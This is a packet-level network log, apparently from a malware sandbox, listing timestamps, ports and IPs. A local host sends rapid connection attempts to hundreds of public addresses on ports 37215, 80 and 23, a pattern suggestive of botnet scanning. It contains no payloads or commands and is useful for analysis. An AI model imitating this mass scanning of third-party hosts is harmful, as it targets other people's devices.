Jun 10, 2024 15:37:58.459328890 CEST	30401	37215	192.168.2.13	156.201.148.50
Jun 10, 2024 15:37:58.459336996 CEST	30401	37215	192.168.2.13	156.188.33.125
Jun 10, 2024 15:37:58.459338903 CEST	30401	37215	192.168.2.13	197.110.153.12
Jun 10, 2024 15:37:58.459347010 CEST	30401	37215	192.168.2.13	197.84.65.24
Jun 10, 2024 15:37:58.459347010 CEST	16833	80	192.168.2.13	65.19.124.123
Jun 10, 2024 15:37:58.459358931 CEST	30401	37215	192.168.2.13	156.103.26.204
Jun 10, 2024 15:37:58.459363937 CEST	16833	80	192.168.2.13	2.189.163.58
Jun 10, 2024 15:37:58.459364891 CEST	30401	37215	192.168.2.13	156.233.69.178
Jun 10, 2024 15:37:58.459373951 CEST	30401	37215	192.168.2.13	197.49.200.66
Jun 10, 2024 15:37:58.459379911 CEST	16833	80	192.168.2.13	146.250.96.87
Jun 10, 2024 15:37:58.459389925 CEST	30401	37215	192.168.2.13	41.176.37.140
Jun 10, 2024 15:37:58.459389925 CEST	16833	80	192.168.2.13	20.103.214.14
Jun 10, 2024 15:37:58.459397078 CEST	30401	37215	192.168.2.13	156.9.88.239
Jun 10, 2024 15:37:58.459398031 CEST	30401	37215	192.168.2.13	156.183.36.228
Jun 10, 2024 15:37:58.459398985 CEST	30401	37215	192.168.2.13	41.179.45.254
Jun 10, 2024 15:37:58.459423065 CEST	30401	37215	192.168.2.13	41.151.139.109
Jun 10, 2024 15:37:58.459424019 CEST	30401	37215	192.168.2.13	41.71.92.89
Jun 10, 2024 15:37:58.459429979 CEST	30401	37215	192.168.2.13	41.41.221.146
Jun 10, 2024 15:37:58.459429979 CEST	16833	80	192.168.2.13	120.20.249.122
Jun 10, 2024 15:37:58.459434986 CEST	30401	37215	192.168.2.13	197.219.70.72
Jun 10, 2024 15:37:58.459439993 CEST	30401	37215	192.168.2.13	156.2.124.85
Jun 10, 2024 15:37:58.459439993 CEST	16833	80	192.168.2.13	111.88.201.58
Jun 10, 2024 15:37:58.459439993 CEST	30401	37215	192.168.2.13	197.125.190.64
Jun 10, 2024 15:37:58.459462881 CEST	30401	37215	192.168.2.13	197.62.66.22
Jun 10, 2024 15:37:58.459462881 CEST	30401	37215	192.168.2.13	41.209.102.150
Jun 10, 2024 15:37:58.459465981 CEST	16833	80	192.168.2.13	67.122.134.76
Jun 10, 2024 15:37:58.459472895 CEST	30401	37215	192.168.2.13	41.105.214.229
Jun 10, 2024 15:37:58.459475994 CEST	30401	37215	192.168.2.13	41.8.33.0
Jun 10, 2024 15:37:58.459487915 CEST	30401	37215	192.168.2.13	41.199.228.40
Jun 10, 2024 15:37:58.459487915 CEST	30401	37215	192.168.2.13	156.199.172.162
Jun 10, 2024 15:37:58.459490061 CEST	30401	37215	192.168.2.13	156.18.60.252
Jun 10, 2024 15:37:58.459491014 CEST	30401	37215	192.168.2.13	197.207.96.120
Jun 10, 2024 15:37:58.459501028 CEST	30401	37215	192.168.2.13	156.131.46.81
Jun 10, 2024 15:37:58.459501028 CEST	30401	37215	192.168.2.13	156.79.242.90
Jun 10, 2024 15:37:58.459501982 CEST	30401	37215	192.168.2.13	156.223.238.77
Jun 10, 2024 15:37:58.459503889 CEST	30401	37215	192.168.2.13	41.151.251.55
Jun 10, 2024 15:37:58.459507942 CEST	16833	80	192.168.2.13	194.211.56.104
Jun 10, 2024 15:37:58.459508896 CEST	30401	37215	192.168.2.13	41.162.217.198
Jun 10, 2024 15:37:58.459508896 CEST	30401	37215	192.168.2.13	156.115.213.35
Jun 10, 2024 15:37:58.459508896 CEST	30401	37215	192.168.2.13	197.214.115.45
Jun 10, 2024 15:37:58.459511995 CEST	30401	37215	192.168.2.13	156.152.113.181
Jun 10, 2024 15:37:58.459511995 CEST	16833	80	192.168.2.13	13.56.173.158
Jun 10, 2024 15:37:58.459522009 CEST	30401	37215	192.168.2.13	197.59.134.153
Jun 10, 2024 15:37:58.459522009 CEST	30401	37215	192.168.2.13	156.51.141.128
Jun 10, 2024 15:37:58.459522009 CEST	30401	37215	192.168.2.13	41.110.181.97
Jun 10, 2024 15:37:58.459522963 CEST	30401	37215	192.168.2.13	197.117.227.181
Jun 10, 2024 15:37:58.459536076 CEST	16833	80	192.168.2.13	168.24.60.63
Jun 10, 2024 15:37:58.459541082 CEST	30401	37215	192.168.2.13	156.12.231.179
Jun 10, 2024 15:37:58.459542036 CEST	30401	37215	192.168.2.13	156.170.243.98
Jun 10, 2024 15:37:58.459557056 CEST	16833	80	192.168.2.13	35.219.97.25
Jun 10, 2024 15:37:58.459557056 CEST	30401	37215	192.168.2.13	197.92.111.93
Jun 10, 2024 15:37:58.459580898 CEST	16833	80	192.168.2.13	4.35.61.244
Jun 10, 2024 15:37:58.459589005 CEST	16833	80	192.168.2.13	148.139.133.210
Jun 10, 2024 15:37:58.459611893 CEST	16833	80	192.168.2.13	193.171.109.56
Jun 10, 2024 15:37:58.459635973 CEST	16833	80	192.168.2.13	144.71.180.84
Jun 10, 2024 15:37:58.459635973 CEST	16833	80	192.168.2.13	69.49.69.136
Jun 10, 2024 15:37:58.459646940 CEST	16833	80	192.168.2.13	211.160.156.73
Jun 10, 2024 15:37:58.459647894 CEST	16833	80	192.168.2.13	168.59.197.40
Jun 10, 2024 15:37:58.459660053 CEST	16833	80	192.168.2.13	18.149.122.44
Jun 10, 2024 15:37:58.459672928 CEST	16833	80	192.168.2.13	39.85.248.251
Jun 10, 2024 15:37:58.459697008 CEST	16833	80	192.168.2.13	181.173.119.40
Jun 10, 2024 15:37:58.459697008 CEST	16833	80	192.168.2.13	49.40.81.134
Jun 10, 2024 15:37:58.459707022 CEST	16833	80	192.168.2.13	85.74.64.226
Jun 10, 2024 15:37:58.459712982 CEST	16833	80	192.168.2.13	131.216.178.254
Jun 10, 2024 15:37:58.459747076 CEST	16833	80	192.168.2.13	203.129.32.100
Jun 10, 2024 15:37:58.459760904 CEST	16833	80	192.168.2.13	35.103.207.150
Jun 10, 2024 15:37:58.459760904 CEST	16833	80	192.168.2.13	222.79.242.11
Jun 10, 2024 15:37:58.459793091 CEST	16833	80	192.168.2.13	170.66.97.164
Jun 10, 2024 15:37:58.459808111 CEST	16833	80	192.168.2.13	132.139.52.220
Jun 10, 2024 15:37:58.459822893 CEST	16833	80	192.168.2.13	91.48.178.235
Jun 10, 2024 15:37:58.459824085 CEST	16833	80	192.168.2.13	36.83.112.138
Jun 10, 2024 15:37:58.459827900 CEST	16833	80	192.168.2.13	116.251.30.70
Jun 10, 2024 15:37:58.459829092 CEST	16833	80	192.168.2.13	77.183.43.209
Jun 10, 2024 15:37:58.459855080 CEST	16833	80	192.168.2.13	212.65.128.236
Jun 10, 2024 15:37:58.459875107 CEST	16833	80	192.168.2.13	19.163.217.6
Jun 10, 2024 15:37:58.459875107 CEST	16833	80	192.168.2.13	89.73.72.200
Jun 10, 2024 15:37:58.459877968 CEST	16833	80	192.168.2.13	52.118.113.204
Jun 10, 2024 15:37:58.459897995 CEST	16833	80	192.168.2.13	183.180.158.37
Jun 10, 2024 15:37:58.459935904 CEST	16833	80	192.168.2.13	159.193.247.198
Jun 10, 2024 15:37:58.459945917 CEST	16833	80	192.168.2.13	87.101.156.8
Jun 10, 2024 15:37:58.459959030 CEST	16833	80	192.168.2.13	206.74.220.141
Jun 10, 2024 15:37:58.459963083 CEST	16833	80	192.168.2.13	212.148.218.185
Jun 10, 2024 15:37:58.459968090 CEST	16833	80	192.168.2.13	155.219.109.111
Jun 10, 2024 15:37:58.459970951 CEST	16833	80	192.168.2.13	43.26.133.47
Jun 10, 2024 15:37:58.460001945 CEST	16833	80	192.168.2.13	40.14.87.7
Jun 10, 2024 15:37:58.460011959 CEST	16833	80	192.168.2.13	39.252.119.69
Jun 10, 2024 15:37:58.460017920 CEST	23	26049	198.196.238.94	192.168.2.13
Jun 10, 2024 15:37:58.460021973 CEST	16833	80	192.168.2.13	12.70.8.218
Jun 10, 2024 15:37:58.460036039 CEST	23	26049	190.141.124.206	192.168.2.13
Jun 10, 2024 15:37:58.460046053 CEST	16833	80	192.168.2.13	103.147.236.94
Jun 10, 2024 15:37:58.460048914 CEST	26049	23	192.168.2.13	198.196.238.94
Jun 10, 2024 15:37:58.460050106 CEST	23	26049	76.169.88.76	192.168.2.13
Jun 10, 2024 15:37:58.460063934 CEST	23	26049	164.30.234.118	192.168.2.13
Jun 10, 2024 15:37:58.460066080 CEST	16833	80	192.168.2.13	223.173.173.136
Jun 10, 2024 15:37:58.460074902 CEST	26049	23	192.168.2.13	190.141.124.206
Jun 10, 2024 15:37:58.460077047 CEST	23	26049	132.10.73.79	192.168.2.13
Jun 10, 2024 15:37:58.460088968 CEST	26049	23	192.168.2.13	76.169.88.76
Jun 10, 2024 15:37:58.460089922 CEST	23	26049	125.164.23.124	192.168.2.13
Jun 10, 2024 15:37:58.460095882 CEST	16833	80	192.168.2.13	193.217.189.207
Jun 10, 2024 15:37:58.460103989 CEST	23	26049	32.142.136.96	192.168.2.13
Jun 10, 2024 15:37:58.460105896 CEST	26049	23	192.168.2.13	164.30.234.118
Jun 10, 2024 15:37:58.460105896 CEST	26049	23	192.168.2.13	132.10.73.79
Jun 10, 2024 15:37:58.460112095 CEST	16833	80	192.168.2.13	39.224.6.63
Jun 10, 2024 15:37:58.460118055 CEST	23	26049	38.96.88.10	192.168.2.13
Jun 10, 2024 15:37:58.460130930 CEST	23	26049	75.67.196.229	192.168.2.13
Jun 10, 2024 15:37:58.460136890 CEST	26049	23	192.168.2.13	32.142.136.96
Jun 10, 2024 15:37:58.460136890 CEST	26049	23	192.168.2.13	125.164.23.124
Jun 10, 2024 15:37:58.460144043 CEST	23	26049	50.75.214.252	192.168.2.13
Jun 10, 2024 15:37:58.460150003 CEST	16833	80	192.168.2.13	66.160.227.118
Jun 10, 2024 15:37:58.460154057 CEST	26049	23	192.168.2.13	38.96.88.10
Jun 10, 2024 15:37:58.460154057 CEST	16833	80	192.168.2.13	199.93.138.167
Jun 10, 2024 15:37:58.460159063 CEST	23	26049	182.236.184.51	192.168.2.13
Jun 10, 2024 15:37:58.460169077 CEST	26049	23	192.168.2.13	75.67.196.229
Jun 10, 2024 15:37:58.460170984 CEST	23	26049	124.121.191.188	192.168.2.13
Jun 10, 2024 15:37:58.460177898 CEST	26049	23	192.168.2.13	50.75.214.252
Jun 10, 2024 15:37:58.460185051 CEST	23	26049	39.243.190.181	192.168.2.13
Jun 10, 2024 15:37:58.460186958 CEST	26049	23	192.168.2.13	182.236.184.51
Jun 10, 2024 15:37:58.460196972 CEST	23	26049	186.72.96.4	192.168.2.13
Jun 10, 2024 15:37:58.460206985 CEST	26049	23	192.168.2.13	124.121.191.188
Jun 10, 2024 15:37:58.460208893 CEST	23	26049	92.134.95.48	192.168.2.13
Jun 10, 2024 15:37:58.460222006 CEST	23	26049	223.100.103.1	192.168.2.13
Jun 10, 2024 15:37:58.460222960 CEST	26049	23	192.168.2.13	39.243.190.181
Jun 10, 2024 15:37:58.460233927 CEST	16833	80	192.168.2.13	139.16.114.209
Jun 10, 2024 15:37:58.460233927 CEST	26049	23	192.168.2.13	186.72.96.4
Jun 10, 2024 15:37:58.460235119 CEST	23	26049	134.211.186.43	192.168.2.13
Jun 10, 2024 15:37:58.460243940 CEST	26049	23	192.168.2.13	92.134.95.48
Jun 10, 2024 15:37:58.460243940 CEST	26049	23	192.168.2.13	223.100.103.1
Jun 10, 2024 15:37:58.460247040 CEST	23	26049	197.152.224.238	192.168.2.13
Jun 10, 2024 15:37:58.460258961 CEST	23	26049	70.73.181.197	192.168.2.13
Jun 10, 2024 15:37:58.460263014 CEST	26049	23	192.168.2.13	134.211.186.43
Jun 10, 2024 15:37:58.460272074 CEST	23	26049	116.57.6.68	192.168.2.13
Jun 10, 2024 15:37:58.460283995 CEST	23	26049	109.187.83.5	192.168.2.13
Jun 10, 2024 15:37:58.460287094 CEST	26049	23	192.168.2.13	70.73.181.197
Jun 10, 2024 15:37:58.460297108 CEST	23	26049	17.131.23.243	192.168.2.13
Jun 10, 2024 15:37:58.460300922 CEST	26049	23	192.168.2.13	116.57.6.68
Jun 10, 2024 15:37:58.460310936 CEST	23	26049	9.174.214.160	192.168.2.13
Jun 10, 2024 15:37:58.460314989 CEST	26049	23	192.168.2.13	109.187.83.5
Jun 10, 2024 15:37:58.460324049 CEST	16833	80	192.168.2.13	150.54.2.101
Jun 10, 2024 15:37:58.460325956 CEST	23	26049	158.98.201.212	192.168.2.13
Jun 10, 2024 15:37:58.460330009 CEST	26049	23	192.168.2.13	17.131.23.243
Jun 10, 2024 15:37:58.460340977 CEST	23	26049	206.60.137.132	192.168.2.13
Jun 10, 2024 15:37:58.460342884 CEST	26049	23	192.168.2.13	9.174.214.160
Jun 10, 2024 15:37:58.460354090 CEST	23	26049	116.220.183.75	192.168.2.13
Jun 10, 2024 15:37:58.460359097 CEST	26049	23	192.168.2.13	158.98.201.212
Jun 10, 2024 15:37:58.460366964 CEST	23	26049	128.28.27.63	192.168.2.13
Jun 10, 2024 15:37:58.460372925 CEST	26049	23	192.168.2.13	206.60.137.132
Jun 10, 2024 15:37:58.460380077 CEST	23	26049	180.91.116.84	192.168.2.13
Jun 10, 2024 15:37:58.460387945 CEST	26049	23	192.168.2.13	116.220.183.75
Jun 10, 2024 15:37:58.460391998 CEST	23	26049	54.53.203.201	192.168.2.13
Jun 10, 2024 15:37:58.460398912 CEST	16833	80	192.168.2.13	19.168.132.92
Jun 10, 2024 15:37:58.460401058 CEST	26049	23	192.168.2.13	197.152.224.238
Jun 10, 2024 15:37:58.460401058 CEST	26049	23	192.168.2.13	128.28.27.63
Jun 10, 2024 15:37:58.460403919 CEST	23	26049	43.86.28.152	192.168.2.13
Jun 10, 2024 15:37:58.460413933 CEST	16833	80	192.168.2.13	85.239.85.221
Jun 10, 2024 15:37:58.460417032 CEST	23	26049	158.84.29.159	192.168.2.13
Jun 10, 2024 15:37:58.460418940 CEST	26049	23	192.168.2.13	180.91.116.84
Jun 10, 2024 15:37:58.460429907 CEST	23	26049	113.249.196.233	192.168.2.13
Jun 10, 2024 15:37:58.460432053 CEST	26049	23	192.168.2.13	54.53.203.201
Jun 10, 2024 15:37:58.460443020 CEST	23	26049	155.106.171.247	192.168.2.13
Jun 10, 2024 15:37:58.460443974 CEST	26049	23	192.168.2.13	43.86.28.152
Jun 10, 2024 15:37:58.460454941 CEST	23	26049	202.138.93.178	192.168.2.13
Jun 10, 2024 15:37:58.460460901 CEST	26049	23	192.168.2.13	158.84.29.159
Jun 10, 2024 15:37:58.460460901 CEST	26049	23	192.168.2.13	113.249.196.233
Jun 10, 2024 15:37:58.460467100 CEST	23	26049	143.239.208.30	192.168.2.13
Jun 10, 2024 15:37:58.460479975 CEST	23	26049	40.227.82.94	192.168.2.13
Jun 10, 2024 15:37:58.460496902 CEST	26049	23	192.168.2.13	155.106.171.247
Jun 10, 2024 15:37:58.460498095 CEST	16833	80	192.168.2.13	99.98.214.85
Jun 10, 2024 15:37:58.460498095 CEST	26049	23	192.168.2.13	202.138.93.178
Jun 10, 2024 15:37:58.460500002 CEST	16833	80	192.168.2.13	206.80.212.79
Jun 10, 2024 15:37:58.460505962 CEST	23	26049	23.85.95.36	192.168.2.13
Jun 10, 2024 15:37:58.460513115 CEST	16833	80	192.168.2.13	222.111.39.184
Jun 10, 2024 15:37:58.460513115 CEST	26049	23	192.168.2.13	143.239.208.30
Jun 10, 2024 15:37:58.460520029 CEST	23	26049	66.146.89.3	192.168.2.13
Jun 10, 2024 15:37:58.460520029 CEST	26049	23	192.168.2.13	40.227.82.94
Jun 10, 2024 15:37:58.460534096 CEST	23	26049	131.87.205.1	192.168.2.13
Jun 10, 2024 15:37:58.460546017 CEST	26049	23	192.168.2.13	23.85.95.36
Jun 10, 2024 15:37:58.460546970 CEST	23	26049	174.211.86.50	192.168.2.13
Jun 10, 2024 15:37:58.460557938 CEST	26049	23	192.168.2.13	66.146.89.3
Jun 10, 2024 15:37:58.460561037 CEST	23	26049	74.65.245.4	192.168.2.13
Jun 10, 2024 15:37:58.460572004 CEST	16833	80	192.168.2.13	120.207.36.0
Jun 10, 2024 15:37:58.460578918 CEST	26049	23	192.168.2.13	131.87.205.1
Jun 10, 2024 15:37:58.460582972 CEST	26049	23	192.168.2.13	174.211.86.50
Jun 10, 2024 15:37:58.460599899 CEST	26049	23	192.168.2.13	74.65.245.4
Jun 10, 2024 15:37:58.460623026 CEST	16833	80	192.168.2.13	1.151.158.215
Jun 10, 2024 15:37:58.460633039 CEST	16833	80	192.168.2.13	144.38.64.105
Jun 10, 2024 15:37:58.460643053 CEST	16833	80	192.168.2.13	166.89.187.217
Jun 10, 2024 15:37:58.460645914 CEST	16833	80	192.168.2.13	200.35.141.112
Jun 10, 2024 15:37:58.460648060 CEST	16833	80	192.168.2.13	223.21.250.21
Jun 10, 2024 15:37:58.460652113 CEST	16833	80	192.168.2.13	200.40.160.85
Jun 10, 2024 15:37:58.460666895 CEST	16833	80	192.168.2.13	167.34.17.7
Jun 10, 2024 15:37:58.460701942 CEST	16833	80	192.168.2.13	101.115.68.183
Jun 10, 2024 15:37:58.460717916 CEST	16833	80	192.168.2.13	44.247.72.65
Jun 10, 2024 15:37:58.460721016 CEST	16833	80	192.168.2.13	203.129.208.159
Jun 10, 2024 15:37:58.460732937 CEST	16833	80	192.168.2.13	221.43.38.87
Jun 10, 2024 15:37:58.460736990 CEST	16833	80	192.168.2.13	154.69.228.210
Jun 10, 2024 15:37:58.460753918 CEST	16833	80	192.168.2.13	186.141.147.26
Jun 10, 2024 15:37:58.460756063 CEST	16833	80	192.168.2.13	69.15.148.41
Jun 10, 2024 15:37:58.460757971 CEST	16833	80	192.168.2.13	204.11.247.148
Jun 10, 2024 15:37:58.460783958 CEST	16833	80	192.168.2.13	210.49.127.201
Jun 10, 2024 15:37:58.460783958 CEST	16833	80	192.168.2.13	13.147.78.82
Jun 10, 2024 15:37:58.460822105 CEST	16833	80	192.168.2.13	43.30.18.196
Jun 10, 2024 15:37:58.460823059 CEST	16833	80	192.168.2.13	151.96.159.34
Jun 10, 2024 15:37:58.460834026 CEST	16833	80	192.168.2.13	106.127.46.99
Jun 10, 2024 15:37:58.460850000 CEST	16833	80	192.168.2.13	100.127.121.236
Jun 10, 2024 15:37:58.460870981 CEST	16833	80	192.168.2.13	60.63.192.120
Jun 10, 2024 15:37:58.460874081 CEST	16833	80	192.168.2.13	222.147.58.234
Jun 10, 2024 15:37:58.460884094 CEST	16833	80	192.168.2.13	74.186.127.5
Jun 10, 2024 15:37:58.460885048 CEST	16833	80	192.168.2.13	159.210.141.240
Jun 10, 2024 15:37:58.460886002 CEST	16833	80	192.168.2.13	95.194.80.39
Jun 10, 2024 15:37:58.460922956 CEST	16833	80	192.168.2.13	145.110.21.229
Jun 10, 2024 15:37:58.460942984 CEST	16833	80	192.168.2.13	203.127.1.115
Jun 10, 2024 15:37:58.460972071 CEST	16833	80	192.168.2.13	198.2.37.158
Jun 10, 2024 15:37:58.460983992 CEST	16833	80	192.168.2.13	108.171.149.155
Jun 10, 2024 15:37:58.461011887 CEST	16833	80	192.168.2.13	202.240.10.11
Jun 10, 2024 15:37:58.461024046 CEST	16833	80	192.168.2.13	45.129.230.166
Jun 10, 2024 15:37:58.461033106 CEST	16833	80	192.168.2.13	19.231.43.10
Jun 10, 2024 15:37:58.461051941 CEST	16833	80	192.168.2.13	167.191.47.148
Jun 10, 2024 15:37:58.461057901 CEST	16833	80	192.168.2.13	147.197.23.73
Jun 10, 2024 15:37:58.461085081 CEST	16833	80	192.168.2.13	138.236.32.51
Jun 10, 2024 15:37:58.461107969 CEST	16833	80	192.168.2.13	1.152.127.85
Jun 10, 2024 15:37:58.461108923 CEST	16833	80	192.168.2.13	68.107.200.242
Jun 10, 2024 15:37:58.461132050 CEST	16833	80	192.168.2.13	149.244.177.89
Jun 10, 2024 15:37:58.461133003 CEST	16833	80	192.168.2.13	42.164.152.65
Jun 10, 2024 15:37:58.461144924 CEST	16833	80	192.168.2.13	2.92.8.251
Jun 10, 2024 15:37:58.461158037 CEST	16833	80	192.168.2.13	118.49.136.226
Jun 10, 2024 15:37:58.461158037 CEST	16833	80	192.168.2.13	213.134.4.102
Jun 10, 2024 15:37:58.461194992 CEST	16833	80	192.168.2.13	47.242.17.75
Jun 10, 2024 15:37:58.461211920 CEST	16833	80	192.168.2.13	94.170.143.67
Jun 10, 2024 15:37:58.461222887 CEST	16833	80	192.168.2.13	105.22.124.243
Jun 10, 2024 15:37:58.461232901 CEST	16833	80	192.168.2.13	98.166.88.63
Jun 10, 2024 15:37:58.461232901 CEST	16833	80	192.168.2.13	195.225.202.23
Jun 10, 2024 15:37:58.461241961 CEST	16833	80	192.168.2.13	60.185.202.150
Jun 10, 2024 15:37:58.461262941 CEST	16833	80	192.168.2.13	196.127.160.13
Jun 10, 2024 15:37:58.461277008 CEST	16833	80	192.168.2.13	199.124.85.54
Jun 10, 2024 15:37:58.461345911 CEST	16833	80	192.168.2.13	172.164.249.180
Jun 10, 2024 15:37:58.461358070 CEST	16833	80	192.168.2.13	156.115.134.70
Jun 10, 2024 15:37:58.461364985 CEST	16833	80	192.168.2.13	205.237.238.200
Jun 10, 2024 15:37:58.461385012 CEST	16833	80	192.168.2.13	14.39.203.115
Jun 10, 2024 15:37:58.461390972 CEST	16833	80	192.168.2.13	186.132.178.122
Jun 10, 2024 15:37:58.461394072 CEST	16833	80	192.168.2.13	104.252.44.61
Jun 10, 2024 15:37:58.461394072 CEST	16833	80	192.168.2.13	161.7.190.144
Jun 10, 2024 15:37:58.461412907 CEST	16833	80	192.168.2.13	43.98.181.119
Jun 10, 2024 15:37:58.461426973 CEST	16833	80	192.168.2.13	158.235.77.34
Jun 10, 2024 15:37:58.461429119 CEST	16833	80	192.168.2.13	122.14.141.87
Jun 10, 2024 15:37:58.461431026 CEST	16833	80	192.168.2.13	73.219.90.166
Jun 10, 2024 15:37:58.461466074 CEST	16833	80	192.168.2.13	150.54.125.194
Jun 10, 2024 15:37:58.461472988 CEST	16833	80	192.168.2.13	184.81.106.244
Jun 10, 2024 15:37:58.461494923 CEST	16833	80	192.168.2.13	23.203.70.4
Jun 10, 2024 15:37:58.461505890 CEST	16833	80	192.168.2.13	96.144.164.241
Jun 10, 2024 15:37:58.461520910 CEST	16833	80	192.168.2.13	35.81.151.92
Jun 10, 2024 15:37:58.461520910 CEST	16833	80	192.168.2.13	111.24.66.13
Jun 10, 2024 15:37:58.461565018 CEST	16833	80	192.168.2.13	154.78.40.200
Jun 10, 2024 15:37:58.461565018 CEST	16833	80	192.168.2.13	146.169.187.113
Jun 10, 2024 15:37:58.461565971 CEST	16833	80	192.168.2.13	65.171.110.49
Jun 10, 2024 15:37:58.461584091 CEST	16833	80	192.168.2.13	159.188.11.85
Jun 10, 2024 15:37:58.461602926 CEST	16833	80	192.168.2.13	107.250.9.175
Jun 10, 2024 15:37:58.461611032 CEST	16833	80	192.168.2.13	68.192.23.111
Jun 10, 2024 15:37:58.461611032 CEST	16833	80	192.168.2.13	168.158.103.249
Jun 10, 2024 15:37:58.461616993 CEST	16833	80	192.168.2.13	66.238.77.71
Jun 10, 2024 15:37:58.461616993 CEST	16833	80	192.168.2.13	109.5.247.237
Jun 10, 2024 15:37:58.461652040 CEST	16833	80	192.168.2.13	60.186.209.44
Jun 10, 2024 15:37:58.461652040 CEST	16833	80	192.168.2.13	57.96.220.87
Jun 10, 2024 15:37:58.461688042 CEST	16833	80	192.168.2.13	173.96.27.128
Jun 10, 2024 15:37:58.461688995 CEST	16833	80	192.168.2.13	186.181.13.127
Jun 10, 2024 15:37:58.461703062 CEST	16833	80	192.168.2.13	186.240.224.231
Jun 10, 2024 15:37:58.461719036 CEST	16833	80	192.168.2.13	196.173.78.5
Jun 10, 2024 15:37:58.461719036 CEST	16833	80	192.168.2.13	107.149.46.130
Jun 10, 2024 15:37:58.461755037 CEST	16833	80	192.168.2.13	50.253.215.197
Jun 10, 2024 15:37:58.461775064 CEST	16833	80	192.168.2.13	190.29.198.205
Jun 10, 2024 15:37:58.461775064 CEST	16833	80	192.168.2.13	102.145.95.212
Jun 10, 2024 15:37:58.461777925 CEST	16833	80	192.168.2.13	77.127.54.38
Jun 10, 2024 15:37:58.461788893 CEST	16833	80	192.168.2.13	69.237.122.117
Jun 10, 2024 15:37:58.461810112 CEST	16833	80	192.168.2.13	77.217.183.61
Jun 10, 2024 15:37:58.461832047 CEST	16833	80	192.168.2.13	162.215.139.137
Jun 10, 2024 15:37:58.461850882 CEST	16833	80	192.168.2.13	117.90.106.243
Jun 10, 2024 15:37:58.461850882 CEST	16833	80	192.168.2.13	48.147.239.19
Jun 10, 2024 15:37:58.461863995 CEST	16833	80	192.168.2.13	156.251.85.106
Jun 10, 2024 15:37:58.461873055 CEST	16833	80	192.168.2.13	35.161.234.23
Jun 10, 2024 15:37:58.461889029 CEST	16833	80	192.168.2.13	195.195.20.179
Jun 10, 2024 15:37:58.461921930 CEST	16833	80	192.168.2.13	137.224.20.241
Jun 10, 2024 15:37:58.461945057 CEST	16833	80	192.168.2.13	176.70.36.164
Jun 10, 2024 15:37:58.461955070 CEST	16833	80	192.168.2.13	81.17.74.79
Jun 10, 2024 15:37:58.461955070 CEST	16833	80	192.168.2.13	143.108.217.199
Jun 10, 2024 15:37:58.461955070 CEST	16833	80	192.168.2.13	171.5.153.210
Jun 10, 2024 15:37:58.461966038 CEST	16833	80	192.168.2.13	72.248.196.7
Jun 10, 2024 15:37:58.461970091 CEST	16833	80	192.168.2.13	82.211.181.55
Jun 10, 2024 15:37:58.461982012 CEST	16833	80	192.168.2.13	157.202.245.15
Jun 10, 2024 15:37:58.461993933 CEST	16833	80	192.168.2.13	14.121.178.142
Jun 10, 2024 15:37:58.462021112 CEST	16833	80	192.168.2.13	37.182.192.201
Jun 10, 2024 15:37:58.462049961 CEST	16833	80	192.168.2.13	109.209.254.28
Jun 10, 2024 15:37:58.462050915 CEST	16833	80	192.168.2.13	222.177.58.108
Jun 10, 2024 15:37:58.462074995 CEST	16833	80	192.168.2.13	218.124.231.119
Jun 10, 2024 15:37:58.462075949 CEST	16833	80	192.168.2.13	195.151.43.227
Jun 10, 2024 15:37:58.462075949 CEST	16833	80	192.168.2.13	79.130.253.80
Jun 10, 2024 15:37:58.462099075 CEST	16833	80	192.168.2.13	98.164.136.180
Jun 10, 2024 15:37:58.462100983 CEST	16833	80	192.168.2.13	222.147.177.44
Jun 10, 2024 15:37:58.462121964 CEST	16833	80	192.168.2.13	115.174.227.229
Jun 10, 2024 15:37:58.462122917 CEST	16833	80	192.168.2.13	76.119.3.137
Jun 10, 2024 15:37:58.462240934 CEST	23	26049	62.40.237.244	192.168.2.13
Jun 10, 2024 15:37:58.462260008 CEST	23	26049	160.224.21.201	192.168.2.13
Jun 10, 2024 15:37:58.462272882 CEST	23	26049	104.121.157.232	192.168.2.13
Jun 10, 2024 15:37:58.462281942 CEST	26049	23	192.168.2.13	62.40.237.244
Jun 10, 2024 15:37:58.462286949 CEST	23	26049	166.121.32.23	192.168.2.13
Jun 10, 2024 15:37:58.462292910 CEST	26049	23	192.168.2.13	160.224.21.201
Jun 10, 2024 15:37:58.462301016 CEST	37215	30401	156.143.243.166	192.168.2.13
Jun 10, 2024 15:37:58.462315083 CEST	37215	30401	41.1.16.245	192.168.2.13
Jun 10, 2024 15:37:58.462321043 CEST	26049	23	192.168.2.13	104.121.157.232
Jun 10, 2024 15:37:58.462321043 CEST	26049	23	192.168.2.13	166.121.32.23
Jun 10, 2024 15:37:58.462328911 CEST	37215	30401	41.112.237.34	192.168.2.13
Jun 10, 2024 15:37:58.462336063 CEST	30401	37215	192.168.2.13	156.143.243.166
Jun 10, 2024 15:37:58.462342024 CEST	37215	30401	156.57.11.197	192.168.2.13
Jun 10, 2024 15:37:58.462349892 CEST	30401	37215	192.168.2.13	41.1.16.245
Jun 10, 2024 15:37:58.462356091 CEST	37215	30401	156.190.41.183	192.168.2.13
Jun 10, 2024 15:37:58.462361097 CEST	30401	37215	192.168.2.13	41.112.237.34
Jun 10, 2024 15:37:58.462369919 CEST	37215	30401	41.251.69.196	192.168.2.13
Jun 10, 2024 15:37:58.462373972 CEST	30401	37215	192.168.2.13	156.57.11.197
Jun 10, 2024 15:37:58.462383032 CEST	37215	30401	156.18.195.164	192.168.2.13
Jun 10, 2024 15:37:58.462388039 CEST	30401	37215	192.168.2.13	156.190.41.183
Jun 10, 2024 15:37:58.462394953 CEST	37215	30401	41.117.101.224	192.168.2.13
Jun 10, 2024 15:37:58.462408066 CEST	37215	30401	156.205.253.53	192.168.2.13
Jun 10, 2024 15:37:58.462419987 CEST	37215	30401	156.249.70.243	192.168.2.13
Jun 10, 2024 15:37:58.462423086 CEST	30401	37215	192.168.2.13	156.18.195.164
Jun 10, 2024 15:37:58.462424040 CEST	30401	37215	192.168.2.13	41.117.101.224
Jun 10, 2024 15:37:58.462433100 CEST	37215	30401	156.89.39.231	192.168.2.13
Jun 10, 2024 15:37:58.462438107 CEST	30401	37215	192.168.2.13	41.251.69.196
Jun 10, 2024 15:37:58.462438107 CEST	30401	37215	192.168.2.13	156.205.253.53
Jun 10, 2024 15:37:58.462460995 CEST	30401	37215	192.168.2.13	156.249.70.243
Jun 10, 2024 15:37:58.462461948 CEST	30401	37215	192.168.2.13	156.89.39.231
Jun 10, 2024 15:37:58.462692022 CEST	80	16833	203.54.242.166	192.168.2.13
Jun 10, 2024 15:37:58.462730885 CEST	16833	80	192.168.2.13	203.54.242.166
Jun 10, 2024 15:37:58.464840889 CEST	37215	30401	41.97.23.92	192.168.2.13
